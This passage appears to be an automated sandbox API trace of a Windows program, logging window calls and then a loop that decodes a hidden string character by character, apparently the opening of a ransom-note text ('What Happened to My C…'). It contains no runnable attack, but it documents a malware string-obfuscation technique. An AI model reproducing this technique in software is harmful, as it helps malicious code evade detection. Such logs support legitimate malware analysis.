lpProcName="SetWindowPos") returned 0x77148e4e [0175.337] SetWindowPos (hWnd=0x40298, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0175.338] GetCapture () returned 0x0 [0175.338] GetCapture () returned 0x0 [0175.338] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x46, wParam=0x0, lParam=0x18eb7c) returned 0x0 [0175.338] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x46, wParam=0x0, lParam=0x18eb7c) returned 0x0 [0175.338] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x46, wParam=0x0, lParam=0x18eb7c) returned 0x0 [0175.339] GetCapture () returned 0x0 [0175.339] GetCapture () returned 0x0 [0175.339] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x46, wParam=0x0, lParam=0x18eb7c) returned 0x0 [0175.339] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x46, wParam=0x0, lParam=0x18eb7c) returned 0x0 [0175.339] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x46, wParam=0x0, lParam=0x18eb7c) returned 0x0 [0175.339] GetCapture () returned 0x0 [0175.339] GetCapture () returned 0x0 [0175.340] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0175.340] GetWindowLongA (hWnd=0x4015c, nIndex=0) returned 58859676 [0175.340] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0175.340] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0175.340] GetCapture () returned 0x0 [0175.340] GetCapture () returned 0x0 [0175.340] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0175.340] GetCapture () returned 0x0 [0175.340] GetCapture () returned 0x0 [0175.340] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x40249 [0175.342] GetCapture () returned 0x0 [0175.342] GetCapture () returned 0x0 [0175.342] IsIconic (hWnd=0x40298) returned 0 [0175.342] GetFocus () returned 0x0 [0175.342] GetWindowLongA (hWnd=0x20264, nIndex=-16) returned 1442906119 [0175.342] GetWindowLongA (hWnd=0x70116, nIndex=-16) returned 1140916224 [0175.342] GetWindowLongA (hWnd=0x7015a, nIndex=-16) returned 1174470663 [0175.342] GetWindowLongA (hWnd=0x5028a, nIndex=-16) returned 1411448901 [0175.342] IsWindowVisible (hWnd=0x5028a) returned 0 [0175.342] GetWindowLongA (hWnd=0x40292, nIndex=-16) returned 1409351872 [0175.342] IsWindowVisible (hWnd=0x40292) returned 0 [0175.342] GetWindowLongA (hWnd=0x30278, nIndex=-16) returned 1411450948 [0175.342] IsWindowVisible (hWnd=0x30278) returned 0 [0175.342] GetWindowLongA (hWnd=0x30272, nIndex=-16) returned 1409359872 [0175.342] IsWindowVisible (hWnd=0x30272) returned 0 [0175.342] GetWindowLongA (hWnd=0x30280, nIndex=-16) returned 1442906119 [0175.342] GetWindowLongA (hWnd=0x3027a, nIndex=-16) returned 1409353920 [0175.342] IsWindowVisible (hWnd=0x3027a) returned 0 [0175.342] GetFocus () returned 0x0 [0175.342] IsWindowEnabled (hWnd=0x40298) returned 1 [0175.342] GetWindowThreadProcessId (in: hWnd=0x40298, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9ec [0175.342] GetCurrentThreadId () returned 0x9ec [0175.342] SetFocus (hWnd=0x40298) returned 0x0 [0175.367] GetCapture () returned 0x0 [0175.367] GetCapture () returned 0x0 [0175.368] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0175.369] GetCapture () returned 0x0 [0175.369] GetCapture () returned 0x0 [0175.369] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0175.369] GetCapture () returned 0x0 [0175.369] GetCapture () returned 0x0 [0175.369] IsIconic (hWnd=0x40298) returned 0 [0175.369] GetFocus () returned 0x40298 [0175.369] GetWindowLongA (hWnd=0x20264, nIndex=-16) returned 1442906119 [0175.369] GetWindowLongA (hWnd=0x70116, nIndex=-16) returned 1140916224 [0175.370] GetWindowLongA (hWnd=0x7015a, nIndex=-16) returned 1174470663 [0175.370] GetWindowLongA (hWnd=0x5028a, nIndex=-16) returned 1411448901 [0175.370] IsWindowVisible (hWnd=0x5028a) returned 0 [0175.370] GetWindowLongA (hWnd=0x40292, nIndex=-16) returned 1409351872 [0175.370] IsWindowVisible (hWnd=0x40292) returned 0 [0175.370] GetWindowLongA (hWnd=0x30278, nIndex=-16) returned 1411450948 [0175.370] IsWindowVisible (hWnd=0x30278) returned 0 [0175.370] GetWindowLongA (hWnd=0x30272, nIndex=-16) returned 1409359872 [0175.370] IsWindowVisible (hWnd=0x30272) returned 0 [0175.370] GetWindowLongA (hWnd=0x30280, nIndex=-16) returned 1442906119 [0175.370] GetWindowLongA (hWnd=0x3027a, nIndex=-16) returned 1409353920 [0175.370] IsWindowVisible (hWnd=0x3027a) returned 0 [0175.370] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0175.370] IsWindowEnabled (hWnd=0x40298) returned 1 [0175.370] PostMessageA (hWnd=0x40298, Msg=0x100e, wParam=0xa, lParam=0x0) returned 1 [0175.370] IsIconic (hWnd=0x40298) returned 0 [0175.370] PostMessageA (hWnd=0x40298, Msg=0x100e, wParam=0xe, lParam=0x0) returned 1 [0175.370] PostMessageA (hWnd=0x40298, Msg=0x105a, wParam=0x0, lParam=0x0) returned 1 [0175.370] GetCapture () returned 0x0 [0175.370] GetCapture () returned 0x0 [0175.370] GetParent (hWnd=0x40298) returned 0x0 [0175.370] GetWindowRect (in: hWnd=0x40298, lpRect=0x18e7a4 | out: lpRect=0x18e7a4) returned 1 [0175.370] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x47, wParam=0x0, lParam=0x18eb7c) returned 0x0 [0175.371] GetWindowLongA (hWnd=0x40298, nIndex=-16) returned 113770624 [0175.371] GetClientRect (in: hWnd=0x40298, lpRect=0x18e814 | out: lpRect=0x18e814) returned 1 [0175.371] MapWindowPoints (in: hWndFrom=0x40298, hWndTo=0x0, lpPoints=0x18e814, cPoints=0x2 | out: lpPoints=0x18e814) returned 13107378 [0175.373] GetCapture () returned 0x0 [0175.373] GetCapture () returned 0x0 [0175.373] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x83, wParam=0x1, lParam=0x18e760) returned 0x0 [0175.374] GetLastError () returned 0x0 [0175.375] VarParseNumFromStr (in: strIn="&H36", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.375] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="W") returned 1 [0175.376] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.376] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.376] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14b559c, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0175.377] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.377] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.377] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1442ad4, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.377] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.377] VarParseNumFromStr (in: strIn="&H06", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.377] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14b559c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.378] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.378] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.378] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1442ad4, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.378] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.379] VarParseNumFromStr (in: strIn="&H29", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.379] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14b559c, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0175.379] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.379] VarParseNumFromStr (in: strIn="&H37", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.379] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1442ad4, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.380] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.380] VarParseNumFromStr (in: strIn="&H11", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.380] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0175.380] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.380] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.380] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0175.381] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.381] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.381] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.381] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.381] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.382] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0175.382] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.382] VarParseNumFromStr (in: strIn="&H0C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.382] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.383] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.383] VarParseNumFromStr (in: strIn="&H05", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.383] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0175.383] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.383] VarParseNumFromStr (in: strIn="&H76", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.383] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.384] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.384] VarParseNumFromStr (in: strIn="&H15", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.384] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.385] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.385] VarParseNumFromStr (in: strIn="&H03", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.385] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.385] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.385] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.385] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.386] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.386] VarParseNumFromStr (in: strIn="&H3F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.386] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0175.386] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.387] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.387] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0175.387] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.387] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.387] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.388] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.388] VarParseNumFromStr (in: strIn="&H15", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.388] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0175.388] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.388] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, 